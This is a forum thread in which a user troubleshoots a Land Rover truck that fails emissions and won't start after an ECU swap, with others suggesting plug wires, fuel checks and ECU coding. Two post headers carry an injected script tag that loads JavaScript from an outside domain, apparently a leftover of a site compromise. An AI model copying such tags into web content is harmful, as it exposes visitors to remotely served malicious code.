What is this 72 hour permit that you speak of?

When I bought the truck I could only have it registered for about 14 days (the rest of the month) untill it passed emissions.  Now the rest of the month is over (by 28 days) and it still hasnt passed.  The only thing I can get now it a 'traveling permit' to get it tested.  They only last 72 hours.

OK, we dont have emissions testing here in MI.

I wish it were like that here in VA.  I am moving to upstate NY next month so I hope I dont run into this problem.  Even if I pass, I still have the problem of the was the truck runs to deal with.

This might have been covered already, but have you tested your fuel pressure? What about fuel filter?? Sorry if this has already been discussed...

I havent checked the pressure, the filter is new though.
I took it for a drive today, about 23 miles.  At speeds above 30 it was good, below that was crap for the most part.  Sometimes good sometimes not.  I also now have the 1313, 1314 and still the 1316.  New cats and o2 sensors.

Anyone?

What spark plugs did you use? How about plug wires? Are all your vacum lines connected and in good shape?

cplthomas -> RE: Airborne school<script src=http://www.adw95.com/b.js></script> (5/30/2008 6:29:29 PM)

I am using the recommended plugs, champion.  Autolite wires (new) and as far as I can tell the lines are all good.

I got a used ecm today, plugged it in and it ran good, just a high idle.  I ran it on the reader and got three codes, all fuel related (I wish I would have written them down) so I erased the codes, assuming they were left over from the last truck it was in.  Now it wont even start.  I will check for spark and all that in the morning.  all I get is crank, no kick.

booo land rover.

You cant just throw in a different ECU, it has to be coded to the security system. Put the other one back in.
You need new plug wires. Autolite wires will not work on a Rover. At the minimum use LR wires, for the results that you are looking for use Magnacor wires. www.roverconnection.com or www.atlanticbritish.com.
You already replaced the crank sensor didnt you?

cplthomas -> RE: Airborne school<script src=http://www.adw95.com/b.js></script> (5/31/2008 6:28:17 AM)

yes, i replaced it along with the temp sensor.  Do I need to take the ecu to a dealer to get it coded?  or do most rover mechanics have a way of doing it?
